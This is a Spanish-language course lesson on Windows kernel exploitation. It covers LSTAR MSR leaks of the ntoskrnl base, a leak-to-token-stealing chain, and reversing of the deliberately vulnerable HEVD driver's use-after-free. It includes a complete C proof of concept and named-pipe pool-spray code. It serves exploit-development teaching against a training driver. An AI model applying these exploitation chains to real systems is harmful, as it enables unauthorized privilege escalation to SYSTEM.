Clase 3 — MSR LSTAR, leaks de kernel base y reversing del Use-After-Free en HEVD¶
Resumen: Clase mixta. Primero la parte teórica corta: el MSR
LSTARapunta ant!KiSystemCall64, los exploits viejos lo pisaban para hookear syscalls (hoy bloqueado por PatchGuard) pero leerlo sigue siendo útil para liquear la base dentoskrnl. Repaso de cómo cambió la dificultad de los leaks desde Windows 10 24H2 (antesNtQuerySystemInformationlo daba gratis desde user; ahora pide admin). La parte práctica reversea el Use-After-Free de HEVD: 4 IOCTLs que encadenanAllocate → Free → Allocate Fake → Use, walkthrough con!poolobservando el tagHack(al revés en hexa), por qué el exploit "naive" no funciona en Windows 10/11 (pool randomization + LFH) y cómo se sortea con pool spray (named pipes como objeto reclaimer ideal).
← Volver al Módulo 5 · ← Clase 2¶
Tabla de Contenidos¶
- El MSR
LSTARy el dispatcher de syscalls - Hook de
LSTAR— exploit clásico ya muerto - Leak de
LSTAR— todavía útil - Cómo cambió el panorama de leaks desde Windows 10 24H2
- Estrategia de los exploits modernos — separar leak de explotación
- Use-After-Free en HEVD — los 4 IOCTLs
- Reversing del IOCTL
0x222053— Allocate UAF Object - Reversing del IOCTL
0x22205B— Free UAF Object - Reversing del IOCTL
0x22205F— Allocate Fake Object - Reversing del IOCTL
0x222057— Use UAF Object - El cliente C completo — encadenar los 4 IOCTLs
- Walkthrough en runtime con
!pool - Por qué el exploit "naive" no funciona en Windows 10/11
- Pool spray — named pipes como objeto reclaimer
- Tip de debugging — saltar el
call raxpara evitar BSoD - Cheat sheet de la clase
1. El MSR LSTAR y el dispatcher de syscalls¶
LSTAR (Long Syscall Target Address Register) es uno de los Model-Specific Registers del CPU. En x64, la instrucción syscall lee LSTAR para saber a dónde saltar cuando una app de user-mode hace la transición a kernel.
| MSR | Hex ID | Propósito |
|---|---|---|
LSTAR |
0xC0000082 |
Dirección de entrada a kernel cuando syscall se ejecuta en long mode |
STAR |
0xC0000081 |
Selectores CS/SS para user y kernel |
SFMASK |
0xC0000084 |
Máscara de RFLAGS al hacer syscall |
FS_BASE |
0xC0000100 |
Base del segmento fs (TEB en user-mode) |
GS_BASE |
0xC0000101 |
Base del segmento gs (KPCR en kernel-mode) |
Punto clave: En Windows,
LSTARse setea durante el boot y apunta ant!KiSystemCall64(ont!KiSystemCall64Shadowcuando KVA Shadow / Meltdown mitigation está activo).
Leer LSTAR desde WinDbg¶
0: kd> rdmsr c0000082
msr[c0000082] = fffff800`12c8e2c0
0: kd> u fffff800`12c8e2c0
nt!KiSystemCall64:
fffff800`12c8e2c0 0f01f8 swapgs
fffff800`12c8e2c3 654889242510... mov qword ptr gs:[10h], rsp
...
El flujo desde user a kernel¶
ntdll!NtCreateFile (user-mode)
│ mov eax, <SSN> ; ej. 0x55 para NtCreateFile
│ syscall ; ← lee LSTAR
▼
nt!KiSystemCall64 (lee EAX)
│
├── EAX < 0x1000 → indexa nt!KiServiceTable
└── EAX ≥ 0x1000 → indexa win32k!W32pServiceTable
│
▼
nt!NtCreateFile (kernel-mode)
Recordatorio de Clase 1: la fórmula para resolver una entrada
KiServiceTable[N]esdd /c1 nt!KiServiceTable + (N*4) L1y despuésu (nt!KiServiceTable + (DWORD >> 4)). Ver Clase 1, §11.No se puede poner breakpoint dentro de
KiSystemCall64— es zona crítica del CPU (cambio de stack, swap degs, etc.). El debugger lo prohíbe. La mecánica que armaLSTAR → KiSystemCall64 → SSDT lookup → función kernelse entiende leyendo el código pero no se trace paso a paso.
2. Hook de LSTAR — exploit clásico ya muerto¶
Idea histórica: Como
LSTARapunta literalmente al único punto de entrada de cualquier syscall, pisarLSTARcon la dirección de un código propio te daba un hook universal de todas las APIs del sistema.
Cómo se hacía antes¶
Con wrmsr (instrucción privilegiada — solo desde kernel), se sobrescribía LSTAR con la dirección de un trampolín. El trampolín filtraba por número de syscall en EAX:
; Trampolín que reemplazaba LSTAR
my_lstar_hook:
cmp eax, 26h ; ¿es la syscall que me interesa?
je malicious_path ; → mi código
jmp original_KiSystemCall64 ; resto → comportamiento normal
malicious_path:
; robar token, ocultar archivos, modificar resultados, etc.
; ... después saltar a la rutina original para no descompensar el sistema
jmp original_KiSystemCall64
| Detalle | Por qué importa |
|---|---|
| Filtro por SSN | Si el hook procesara todas las syscalls, el sistema se cuelga inmediatamente — son cientos por segundo |
| Salto al original | Para que el sistema siga funcionando, el path no-objetivo debe seguir comportándose normal |
| Idea de stealth | El hook se aplicaba después del boot del antivirus, era invisible para herramientas que solo miran exports |
Por qué ya no funciona — PatchGuard¶
PatchGuard (Kernel Patch Protection) es el guardián que Microsoft introdujo desde Vista x64. Verifica periódicamente regiones críticas del kernel — entre ellas
LSTAR— y si detecta cambios, dispara un BSoD0x109(CRITICAL_STRUCTURE_CORRUPTION).
wrmsr c0000082, ...se ejecuta — la instrucción no falla.- Pero a los pocos segundos, PatchGuard barre y nota la diferencia → BSoD inmediato.
- No hay forma documentada de "deshabilitar" PatchGuard que sea estable. Los bypasses históricos siempre se parchearon.
| Cosa que está protegida por PatchGuard | Detalle |
|---|---|
nt!KiServiceTable (SSDT) |
El hook clásico de SSDT también murió por esto |
nt!IDT |
Hook de interrupts kernel-mode |
LSTAR, STAR, SFMASK |
Los MSRs de syscall |
KPCR.GdtBase, IDT en KPCR |
Estructuras críticas del CPU |
Código de algunas funciones del kernel (Ke*, Mm*, ...) |
Detección de inline hooks |
Conclusión: escribir
LSTARestá muerto. Leerlo, sin embargo, sigue siendo perfectamente legal y muy útil.
3. Leak de LSTAR — todavía útil¶
rdmsr también requiere kernel-mode. Pero un driver vulnerable que expone un IOCTL que llama __readmsr con un argumento controlado por el user entrega el contenido de LSTAR al atacante. Y LSTAR apunta dentro de nt!KiSystemCall64, que está dentro de ntoskrnl.exe → leak de la base de ntoskrnl.
Patrón vulnerable en un driver¶
// IOCTL típicamente vulnerable (visto en versiones viejas de NSIS y otros)
case IOCTL_READ_MSR:
{
ULONG msrIndex = *(ULONG*)inputBuffer;
ULONGLONG msrValue = __readmsr(msrIndex); // ← argumento controlado por user
memcpy(outputBuffer, &msrValue, sizeof(msrValue));
break;
}
En assembly se ve algo así:
; rd_msr handler
mov ecx, [rcx] ; ECX = msrIndex viene del user buffer
rdmsr ; EDX:EAX = MSR[ECX]
mov [r11], eax ; lower 32 bits
mov [r11+4], edx ; upper 32 bits
ret
Cliente para leakear con un IOCTL así¶
DWORD msrIndex = 0xC0000082; // LSTAR
ULONGLONG msrValue = 0;
DWORD bytesReturned = 0;
DeviceIoControl(
hDevice,
IOCTL_READ_MSR,
&msrIndex, sizeof(msrIndex),
&msrValue, sizeof(msrValue),
&bytesReturned,
NULL);
// msrValue = LSTAR = dirección dentro de nt!KiSystemCall64
// → restando el offset conocido se obtiene la base de ntoskrnl.exe
De LSTAR a la base de ntoskrnl y a nt!PsInitialSystemProcess¶
1. LSTAR → nt!KiSystemCall64 (dirección leaked)
2. nt_base = LSTAR - offset(KiSystemCall64 from base of ntoskrnl)
↑ se calcula offline mirando el ntoskrnl.exe del target
3. PsInitialSystemProcess = nt_base + offset(PsInitialSystemProcess)
↑ es una variable global en la sección .data de ntoskrnl
4. PsInitialSystemProcess → EPROCESS de System (PID 4) → su Token
5. Token stealing → SYSTEM
Caveat: los offsets dentro de
ntoskrnlson específicos por build. Hay que tabularlos para cada versión de Windows que se quiera explotar (o calcular dinámicamente parsing el PE en runtime, lo cual es más limpio pero más trabajo).
4. Cómo cambió el panorama de leaks desde Windows 10 24H2¶
Cambio importante: Hasta Windows 10 24H2, la API user-mode
NtQuerySystemInformationcon la claseSystemModuleInformationoSystemHandleInformationdevolvía las direcciones kernel dentoskrnly de losEPROCESSdesde un proceso no-administrador. Desde 24H2, esa info requiere ser administrador — los procesos limited-rights ya no la ven.
Comparativa antes vs ahora¶
| Mecanismo | Hasta Win10 24H2 | Win10 24H2 y posteriores |
|---|---|---|
NtQuerySystemInformation(SystemModuleInformation) |
Devuelve base de ntoskrnl.exe desde user no-admin |
Solo desde admin/SYSTEM |
NtQuerySystemInformation(SystemHandleInformation) |
Devuelve direcciones kernel de objects → permite leak de EPROCESS desde user no-admin |
Solo desde admin/SYSTEM |
EnumDeviceDrivers |
Idem | Idem |
| Consecuencia | Cualquier exploit kernel partía con el leak gratis | Hay que buscar otro leak o ser admin (lo cual ya implica privilegios — ¿para qué exploit?) |
Por qué importa¶
El objetivo realista de un exploit kernel es la escalada de privilegios desde un usuario sin permisos. Si ya hay que ser admin para leakear la base, el exploit pierde casi todo su valor.
El gato y el ratón: Microsoft saca un parche cada mes. Investigadores publican un nuevo método de leak (un IOCTL vulnerable, un info-leak en alguna struct kernel exportada via Win32, un side-channel en alguna feature). Microsoft lo parchea al mes siguiente. Los exploits modernos tienen que reemplazar el leak constantemente.
5. Estrategia de los exploits modernos — separar leak de explotación¶
Decisión pedagógica del módulo: Como los métodos de leak cambian todos los meses, enseñar uno específico sería ridículo (estaría desactualizado al rato). Lo que se hace en el curso:
| Componente del exploit | Cómo se enseña en el módulo |
|---|---|
| Lógica de explotación (overflow, UAF, type confusion, etc.) | Se enseña completa, como se hacía antes |
Leak de ntoskrnl y EPROCESS |
Se separa en un módulo aparte que corre como administrador, devuelve esas direcciones, y el exploit las consume como si las hubiera obtenido vía leak |
| Método de leak vigente al momento | Se muestra uno que esté funcionando en el momento de grabar — pero se aclara que cuando el alumno haga un exploit real, va a tener que investigar cuál está vigente en ese momento |
Workflow recomendado para un exploit moderno¶
1. Encontrar la vulnerabilidad kernel ← lo que enseña el módulo
2. Investigar qué método de leak está vigente HOY ← responsabilidad del estudiante en el momento
3. Combinar leak + explotación + token stealing
4. Validar contra una VM con el último parche aplicado
Advertencia importante: Cualquier exploit kernel publicado tiene una vida útil de meses, máximo años. Microsoft eventualmente parchea las vulns o las técnicas de leak. Es un campo de mantenimiento constante, no de exploits one-shot.
Métodos de leak que existieron (y muchos ya están parcheados)¶
| Método | Estado típico |
|---|---|
NtQuerySystemInformation(SystemModuleInformation) desde user |
✅ Hasta 24H2, ❌ desde 24H2 |
NtQuerySystemInformation(SystemHandleInformation) |
✅ Hasta 24H2, ❌ desde 24H2 |
Driver con IOCTL rdmsr arbitrario (e.g., NSIS viejo) |
❌ Casi todos parcheados, pero siguen apareciendo en drivers de terceros |
| Side-channel via accelerated features (GDI, fonts) | Históricamente productivos, todos parcheados eventualmente |
| Driver vulnerable de tercero (BYOVD) | ✅ Funciona casi siempre — pero requiere dropear un driver firmado vulnerable (diferente threat model) |
Recurso: https://www.loldrivers.io/ — repositorio público de drivers firmados vulnerables (técnica BYOVD, Bring Your Own Vulnerable Driver).
6. Use-After-Free en HEVD — los 4 IOCTLs¶
HEVD implementa la vulnerabilidad UAF clásica con 4 IOCTLs separados que el atacante encadena. Esto refleja exactamente cómo aparece en la vida real: un driver con varias entradas que interactúan entre sí mediante una variable global compartida.
Tabla resumen¶
| IOCTL | Nombre | Qué hace | Bug |
|---|---|---|---|
0x222053 |
Allocate UAF Object | Aloca un objeto en NonPagedPoolNx, guarda el puntero en una global | — |
0x22205B |
Free UAF Object | Libera el objeto pero no limpia la global | Dangling pointer |
0x22205F |
Allocate Fake Object | Aloca otro objeto del mismo tamaño con datos del user | Reclaimer del slot |
0x222057 |
Use UAF Object | Lee la global y hace un call indirect al primer qword del objeto | Use-after-free → RIP control |
Diagrama del flujo de explotación¶
[1] IOCTL 0x222053 ──→ ExAllocatePoolWithTag(NPPNX, 0x60, 'kcaH')
↓
g_UafObject = <dirección kernel>
↓
[global apunta a chunk válido con first qword = func legítima]
[2] IOCTL 0x22205B ──→ ExFreePoolWithTag(g_UafObject, 'kcaH')
↓
g_UafObject ¡NO se borra! ← bug
↓
[el chunk está libre pero la global aún apunta ahí]
[3] IOCTL 0x22205F ──→ ExAllocatePoolWithTag(NPPNX, 0x60, 'kcaH')
↓
memcpy(nuevo_chunk, userBuffer, 0x58)
↓
[con suerte el pool reusa el slot recién liberado;
si lo hace, ahora g_UafObject apunta a datos del atacante]
[4] IOCTL 0x222057 ──→ fn = *(g_UafObject + 0)
call fn ← ¡salta a 0x4141414141414141 si reusamos!
Estructura del objeto UAF (0x60 bytes):
7. Reversing del IOCTL 0x222053 — Allocate UAF Object¶
Decodificar el IOCTL¶
IOCTL : 0x00222053
DeviceType : 0x0022 (FILE_DEVICE_UNKNOWN)
RequiredAccess : FILE_ANY_ACCESS
FunctionCode : 0x814
Method : METHOD_NEITHER
Pseudocódigo del handler¶
NTSTATUS AllocateUaFObject() {
PUAF_OBJECT obj;
// 0x200 = NonPagedPoolNx (pool no-paginable, no ejecutable)
obj = (PUAF_OBJECT)ExAllocatePoolWithTag(
NonPagedPoolNx,
sizeof(UAF_OBJECT), // 0x60
'kcaH'); // tag "Hack" (en hexa little-endian = 4B 63 61 48)
if (!obj) return STATUS_NO_MEMORY;
obj->Callback = (PVOID)UseUaFObjectCallback; // función legítima del driver
g_UafObject = obj; // ← variable global
return STATUS_SUCCESS;
}
Argumentos clave de ExAllocatePoolWithTag¶
| Argumento | Valor en HEVD | Significado |
|---|---|---|
PoolType |
0x200 (NonPagedPoolNx) |
Pool no-paginable, no ejecutable (DEP) |
NumberOfBytes |
0x60 |
Tamaño del objeto UAF |
Tag |
'kcaH' |
"Hack" reverseado (los tags son ASCII en little-endian) |
Tipos de pool relevantes:
Constante Valor Notas NonPagedPool0Antiguo: no-paginable, ejecutable (deprecated, Microsoft pide no usarlo) PagedPool1Paginable, no ejecutable NonPagedPoolNx0x200Lo que se usa hoy: no-paginable, no-ejecutable NonPagedPoolNxCacheAligned0x210+ alineación al tamaño de cache line Importante: chunks alocados en
NonPagedPoolsolo se reusan con otros del mismo tipo. No se mezclan paged y non-paged. Para hacer pool spray hay que alocar exactamente del mismo tipo que el objeto vulnerable.
Pool tags en hexa al revés¶
ExAllocatePoolWithTag toma un ULONG (4 bytes ASCII). Los caracteres se almacenan little-endian, así que en memoria aparecen invertidos:
| Tag literal en código | Bytes en memoria (hex) | Cómo aparece en !pool |
|---|---|---|
'Hack' (H a c k) |
48 61 63 6B |
Hack (legible) |
'kcaH' |
6B 63 61 48 |
Hack ← cuando los chars están reversed en el código, se ve normal en !pool |
Tip de IDA: Cuando se ve
mov r8d, 6B636148hen assembly, ese es el tag'kcaH'(pero en memoria queda48 61 63 6B= "Hack"). Click derecho → Char (ASCII) sobre el inmediato muestra el string. Lo mismo enbyte ptr [...] = 'kcaH'.
8. Reversing del IOCTL 0x22205B — Free UAF Object¶
Pseudocódigo del handler¶
NTSTATUS FreeUaFObject() {
if (g_UafObject) {
ExFreePoolWithTag(g_UafObject, 'kcaH');
// ¡falta esto!
// g_UafObject = NULL;
}
return STATUS_SUCCESS;
}
El bug está en lo que NO está¶
| Lo que el código hace | Lo que debería hacer |
|---|---|
ExFreePoolWithTag(g_UafObject, 'kcaH') |
ExFreePoolWithTag(g_UafObject, 'kcaH'); |
| (nada más) | g_UafObject = NULL; |
Patrón clásico de UAF: liberar memoria pero dejar el puntero "colgado" (dangling). El driver no detecta que el objeto fue liberado porque la global sigue siendo no-NULL.
Cómo se ve en assembly¶
mov rcx, cs:g_UafObject ; cargar el puntero global
test rcx, rcx
jz short loc_skip
mov edx, 6B636148h ; tag 'kcaH'
call cs:__imp_ExFreePoolWithTag
; (acá debería ir 'mov cs:g_UafObject, 0' — no está)
loc_skip:
xor eax, eax ; STATUS_SUCCESS
ret
Bug hunter mindset: Cuando se ve
ExFreePoolWithTagy a continuación NO se ve la nullificación de la fuente del puntero, flag inmediato — muy probable UAF. Buscar después qué otro código toca esa misma global para ver si alguien la dereferencia.
Encontrar la global en IDA — xrefs¶
En IDA, click sobre g_UafObject → Ctrl+X (cross-references). Aparecen:
- Write desde
AllocateUaFObject(la setea). - Read desde
FreeUaFObject(la lee para liberar). - Read desde
UseUaFObject← el sospechoso: alguien la lee después y la dereferencia.
Estrategia general: Cuando una global mantiene state entre IOCTLs, es suspect zone. Mirar todos los xrefs y modelar la máquina de estados.
9. Reversing del IOCTL 0x22205F — Allocate Fake Object¶
Pseudocódigo del handler¶
NTSTATUS AllocateFakeObject(PVOID userBuffer, SIZE_T userSize) {
PVOID fakeObj;
fakeObj = ExAllocatePoolWithTag(
NonPagedPoolNx,
0x58, // ← un poco menos que UAF_OBJECT (0x60)
'kcaH'); // ← MISMO tag
if (!fakeObj) return STATUS_NO_MEMORY;
__try {
ProbeForRead(userBuffer, userSize, sizeof(UCHAR));
memcpy(fakeObj, userBuffer, 0x58); // copia el contenido controlado por user
}
__except (EXCEPTION_EXECUTE_HANDLER) {
ExFreePoolWithTag(fakeObj, 'kcaH');
return GetExceptionCode();
}
return STATUS_SUCCESS;
}
El truco — alocar del mismo size + tag¶
Para que el pool allocator reuse el slot recién liberado por FreeUaFObject, el AllocateFakeObject:
| Característica | Por qué |
|---|---|
Mismo PoolType (NonPagedPoolNx) |
Pools distintos no se mezclan |
Mismo bucket de tamaño (0x58 ≈ 0x60) |
El pool agrupa chunks por tamaño — el 0x58 cae en el mismo bucket que 0x60 (ambos = 0x70 con header) |
Mismo tag ('kcaH') |
No es estrictamente necesario para el reuse, pero hace que aparezca con el mismo tag en !pool (más fácil de encontrar) |
Por qué
0x58en lugar de0x60: El sistema redondea hacia arriba al múltiplo de 0x10 más cercano. Los chunks de 0x58 y 0x60 caen ambos en el mismo bucket (0x70=0x60+0x10header). Es funcionalmente equivalente.
El primer qword es el callback en el objeto fake¶
// Layout que el cliente arma desde user-mode
struct {
PVOID Callback; // +0x00 — el atacante pone 0x4141414141414141 acá
CHAR Padding[0x50]; // +0x08 — relleno con 'B' o lo que sea
} fakeUserBuffer = {
.Callback = (PVOID)0x4141414141414141,
.Padding = {'B','B','B', ... },
};
// Después de DeviceIoControl(0x22205F, &fakeUserBuffer, 0x58, ...):
// nuevo_chunk[0x00] = 0x4141414141414141 ← Callback "envenenado"
// nuevo_chunk[0x08] = 'B's
10. Reversing del IOCTL 0x222057 — Use UAF Object¶
Pseudocódigo del handler¶
NTSTATUS UseUaFObject() {
if (g_UafObject) {
PUAF_OBJECT obj = g_UafObject;
obj->Callback(); // ← call indirect al primer qword
}
return STATUS_SUCCESS;
}
Lo que se ve en assembly¶
mov rax, cs:g_UafObject ; rax = puntero (potencialmente al chunk reusado)
test rax, rax
jz short loc_skip
call qword ptr [rax] ; ← call rax dereferenced — RIP CONTROL si reusamos
loc_skip:
xor eax, eax
ret
El gadget central del bug:
call qword ptr [rax]conraxapuntando a memoria controlada por el atacante. Es el equivalente kernel-mode de un C++ vtable hijack.
Lo que el atacante observa¶
Estado de g_UafObject |
Comportamiento |
|---|---|
| Apunta al objeto legítimo (post-Allocate, pre-Free) | Callback válido → ejecuta una función benigna del driver |
| Apunta a chunk liberado pero no reusado | El contenido sigue ahí (pool no zeroizado por defecto) → mismo callback que antes ejecuta normal — NO crashea |
| Apunta a chunk reusado por AllocateFakeObject | Callback = 0x4141... → call rax salta a non-canonical → BSoD o, si se prepara una ROP chain, ejecución kernel-mode controlada |
Observación importante: El driver no detecta nada mientras el contenido del slot liberado no haya sido pisado. El UAF solo se manifiesta cuando el reuse exitoso reemplaza el
Callback.
11. El cliente C completo — encadenar los 4 IOCTLs¶
PoC en C que ejerce la vulnerabilidad UAF de HEVD. Versión "naive" (sin pool spray) — funciona en Windows 7, falla en Windows 10/11 por las razones que se ven en §13.
#include <windows.h>
#include <stdio.h>
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT 0x222053
#define HEVD_IOCTL_FREE_UAF_OBJECT 0x22205B
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT 0x22205F
#define HEVD_IOCTL_USE_UAF_OBJECT 0x222057
#define UAF_OBJECT_SIZE 0x60
#define FAKE_OBJECT_SIZE 0x58
#pragma pack(push, 1)
typedef struct _FAKE_OBJECT {
PVOID Callback; // +0x00
CHAR Buffer[FAKE_OBJECT_SIZE - 8]; // +0x08, relleno
} FAKE_OBJECT;
#pragma pack(pop)
int main(void) {
HANDLE hDevice = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] CreateFile failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Device handle: %p\n", hDevice);
DWORD bytesReturned;
// [1] Allocate UAF Object
printf("[*] Step 1: Allocate UAF Object (IOCTL 0x%X)\n",
HEVD_IOCTL_ALLOCATE_UAF_OBJECT);
DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_UAF_OBJECT,
NULL, 0, NULL, 0, &bytesReturned, NULL);
// [2] Free UAF Object — la global queda colgada
printf("[*] Step 2: Free UAF Object (IOCTL 0x%X)\n",
HEVD_IOCTL_FREE_UAF_OBJECT);
DeviceIoControl(hDevice, HEVD_IOCTL_FREE_UAF_OBJECT,
NULL, 0, NULL, 0, &bytesReturned, NULL);
// [3] Construir el objeto fake con Callback envenenado
FAKE_OBJECT fake;
fake.Callback = (PVOID)0x4141414141414141ULL;
memset(fake.Buffer, 'B', sizeof(fake.Buffer));
// [3] Allocate Fake Object — intentar reusar el slot liberado
printf("[*] Step 3: Allocate Fake Object (IOCTL 0x%X)\n",
HEVD_IOCTL_ALLOCATE_FAKE_OBJECT);
DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_FAKE_OBJECT,
&fake, sizeof(fake),
NULL, 0, &bytesReturned, NULL);
printf("[*] Press ENTER to trigger the UAF...\n");
getchar();
// [4] Use UAF Object — call indirect que dispara el bug
printf("[*] Step 4: Use UAF Object (IOCTL 0x%X) -- BSoD expected\n",
HEVD_IOCTL_USE_UAF_OBJECT);
DeviceIoControl(hDevice, HEVD_IOCTL_USE_UAF_OBJECT,
NULL, 0, NULL, 0, &bytesReturned, NULL);
CloseHandle(hDevice);
return 0;
}
Por qué el
getchar()antes del Use: Da tiempo a adjuntar el debugger al proceso user-mode (con IDA o WinDbg standalone) para inspeccionar el estado del sistema antes delcallfinal. El proceso user no es estrictamente necesario debuggearlo (el driver es lo que importa) pero ayuda a sincronizar.
12. Walkthrough en runtime con !pool¶
Con WinDbg en kernel mode, attacheado a la VM target con HEVD cargado y breakpoints en cada uno de los 4 handlers, paso a paso:
Estado 1 — después del Allocate¶
0: kd> bp HEVD!AllocateUaFObject
0: kd> g
... breakea adentro de AllocateUaFObject
... step over hasta después de ExAllocatePoolWithTag
0: kd> r rax
rax=ffffba0b`a4ff22c0
0: kd> !pool ffffba0ba4ff22c0
Pool page ffffba0ba4ff22c0 region is Nonpaged pool
ffffba0ba4ff20b0 size: 70 previous size: 0 (Allocated) Hack
* ffffba0ba4ff22b0 size: 70 previous size: 0 (Allocated) *Hack
Pooltag Hack
ffffba0ba4ff2320 size: 70 previous size: 70 (Allocated) Hack
| Detalle | Valor | Significado |
|---|---|---|
| Dirección de retorno | ffffba0ba4ff22c0 |
Esta es la dirección user (datos) — el header está 0x10 bytes antes |
| Inicio del chunk | ffffba0ba4ff22b0 |
Dirección real del chunk (header + data) |
| Tag | Hack |
Confirmación de tag |
| Estado | Allocated |
Aún en uso |
| Size | 0x70 |
0x60 user + 0x10 header |
previous size: 0 |
0x0 |
El chunk anterior es libre o este es el primero del bucket |
Importante:
!pool <addr>muestra el chunk al que pertenece esa dirección, más algunos vecinos para contexto. El asterisco*marca específicamente el chunk pedido.Por qué los chunks aparecen agrupados de a 0x70: El pool agrupa chunks del mismo tamaño en slabs. Es muy común ver muchos
0x70consecutivos.
Estado 2 — después del Free (chunk liberado, antes del Fake)¶
0: kd> g
... breakea en FreeUaFObject, step over al ExFreePoolWithTag
0: kd> !pool ffffba0ba4ff22c0
* ffffba0ba4ff22b0 size: 70 previous size: 0 (Free ) *Hack
Pooltag Hack
| Cambio | Valor |
|---|---|
| Estado | Free ← cambió de Allocated |
| Tag | Hack (preservado en el header del chunk libre) |
| Size | 0x70 (igual) |
Observación clave: El contenido del chunk no se zeroiza al liberar. Si se hace
dq <addr> L4, los bytes que estaban antes (incluyendo elCallbackoriginal) siguen ahí. Por eso elUsepost-FreesinAllocate Fakeno crashea — sigue habiendo un puntero válido al callback original.
Estado 3 — después del Fake (depende de si reusó)¶
0: kd> g
... breakea en AllocateFakeObject, step over al ExAllocatePoolWithTag
0: kd> r rax
rax=ffffba0b`a4ff2820 ← ¡otra dirección!
0: kd> !pool ffffba0ba4ff22c0
* ffffba0ba4ff22b0 size: 70 previous size: 0 (Free ) *Hack
Falla el reuse: En Windows 10/11, el allocator no devolvió la dirección recién liberada. El Fake quedó en otro slot (
ffffba0ba4ff2820). La global sigue apuntando al chunk free original.
Estado 4 — el Use no crashea (con suerte)¶
Como el chunk liberado todavía tiene los bytes originales (el Callback apunta a la función legítima), el call qword ptr [rax] salta a la función legítima → no BSoD, pero tampoco se logró RIP control.
0: kd> g
... breakea en UseUaFObject, step over al call
0: kd> r rip
rip=fffff803`acd5e780 ← función legítima, NO 0x4141...
Conclusión del walkthrough: El bug existe (la global queda dangling), pero el reuse no ocurre sin pool spray. La explotación naive no es suficiente.
13. Por qué el exploit "naive" no funciona en Windows 10/11¶
En Windows 7 — pool LIFO simple¶
El allocator del pool en Windows 7 era LIFO puro (last-in-first-out): si se liberaba un chunk de 0x70 y luego se pedía otro de 0x70, devolvía el mismo slot recién liberado. Esto hacía que el patrón Allocate → Free → Allocate Fake → Use funcionara directo, sin spray.
En Windows 10/11 — pool randomization + LFH + Segment Heap¶
Microsoft introdujo varias mitigaciones acumuladas que rompen el reuse determinístico:
| Mitigación | Efecto en este UAF |
|---|---|
| Low-Fragmentation Heap (LFH) | Cuando un bucket tiene muchas allocaciones, se randomiza qué slot se devuelve dentro del bucket |
Segment Heap (introducido para ntoskrnl en builds modernos) |
Allocator nuevo con aún más randomización |
| Pool randomization | El sistema mezcla slots para que el reuse no sea predecible |
| Per-CPU caches | Cada core tiene caches que el allocator revisa primero — el slot que se libera puede no estar en el cache del core que aloca |
Resultado: Una sola pareja
Free + Allocatetiene una probabilidad muy baja (no determinista) de reusar el slot. El exploit naive falla casi siempre.
La solución — pool spray¶
Para forzar el reuse, hay que alocar muchísimos chunks del mismo tamaño después del free. Con suficientes allocaciones, alguna va a caer en el slot liberado por probabilidad.
// Spray rudimentario — llamar al IOCTL 0x22205F mil veces
for (int i = 0; i < 10000; i++) {
DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_FAKE_OBJECT,
&fake, sizeof(fake),
NULL, 0, &bytesReturned, NULL);
}
Caveat: El IOCTL
0x22205Faloca un solo objeto por llamada. Hacer 10k iteraciones llena el non-paged pool con 10k chunks fake — funciona pero es sucio: deja muchos objetos huérfanos del driver, no escala, y se puede atrapar el slot otro proceso. Hay que esperar que la global apunte a uno de los chunks atacante y no a otra cosa.
14. Pool spray — named pipes como objeto reclaimer¶
Técnica estándar: En lugar de usar el propio IOCTL del driver vulnerable como reclaimer, usar named pipes. Es un mecanismo Win32 que internamente aloca buffers en NonPagedPool con tamaño y contenido controlado por el atacante, sin tocar el driver target.
Por qué named pipes son ideales¶
| Propiedad | Por qué importa |
|---|---|
| Aloca en NonPagedPool | Mismo pool que ExAllocatePoolWithTag(NonPagedPoolNx, ...) → buckets compartidos |
| Tamaño variable controlado | Se elige al hacer WriteFile sobre el pipe. Permite alocar exactamente del tamaño del slot a reclamar (0x60) |
| Contenido controlado | Lo que se escribe en el pipe queda literal en el buffer kernel. Se puede poner el Callback envenenado directamente |
| Trivial de spammear | Crear 1000 pipes y escribirles 0x58 bytes a cada uno = 1000 chunks atacante |
| No requiere IOCTL del driver | Ataca directamente al kernel scheduler de pools, no depende de cómo el driver expone allocate fake |
Esqueleto de spray con pipes¶
#define SPRAY_COUNT 0x1000
#define SPRAY_DATA_SIZE 0x58 // mismo bucket que UAF_OBJECT (0x60 → 0x70)
HANDLE hReadPipes[SPRAY_COUNT];
HANDLE hWritePipes[SPRAY_COUNT];
// Construir el "fake object" payload una vez
char payload[SPRAY_DATA_SIZE];
*(PVOID*)payload = (PVOID)0x4141414141414141ULL; // Callback envenenado
memset(payload + 8, 'B', SPRAY_DATA_SIZE - 8);
// Crear N pipes
for (int i = 0; i < SPRAY_COUNT; i++) {
CreatePipe(&hReadPipes[i], &hWritePipes[i], NULL, 0x1000);
}
// ... aquí: hacer Allocate UAF → Free UAF (deja el slot libre) ...
// Ahora: spray — escribir el payload en cada pipe.
// Cada WriteFile aloca un buffer kernel del tamaño solicitado en NonPagedPool.
DWORD bytesWritten;
for (int i = 0; i < SPRAY_COUNT; i++) {
WriteFile(hWritePipes[i], payload, SPRAY_DATA_SIZE, &bytesWritten, NULL);
}
// Con alta probabilidad, uno de los WriteFile cayó en el slot del UAF.
// Ahora g_UafObject->Callback = 0x4141414141414141.
// Disparar Use UAF Object
DeviceIoControl(hDevice, HEVD_IOCTL_USE_UAF_OBJECT,
NULL, 0, NULL, 0, &bytesReturned, NULL);
// ⇒ call qword ptr [g_UafObject] → call 0x4141414141414141 → BSoD/RIP control
Otros objetos reclaimer comunes (cuando los pipes no calzan en el bucket)¶
| Objeto | Tamaño controlable | Notas |
|---|---|---|
| Named pipes | Sí (vía WriteFile size) |
El más usado |
| Tagged pipes / Mailslots | Sí | Similar a pipes |
| Window names / Class names (Win32k) | Limitado | Solo paged pool |
| Bitmap objects (GDI) | Sí | Buen candidato para Win32k UAFs |
| Token objects | Solo tamaños fijos | Útil para casos específicos |
NtUserMNDragOver / clases similares |
Variable | Históricamente usados por researchers |
Recurso: https://github.com/sailay1996/awesome-windows-kernel-security-development tiene una lista bastante completa de pool spray primitives.
Caveat: Los chunks de named pipe viven en NonPagedPool tradicional. No funcionan para reclamar slots en
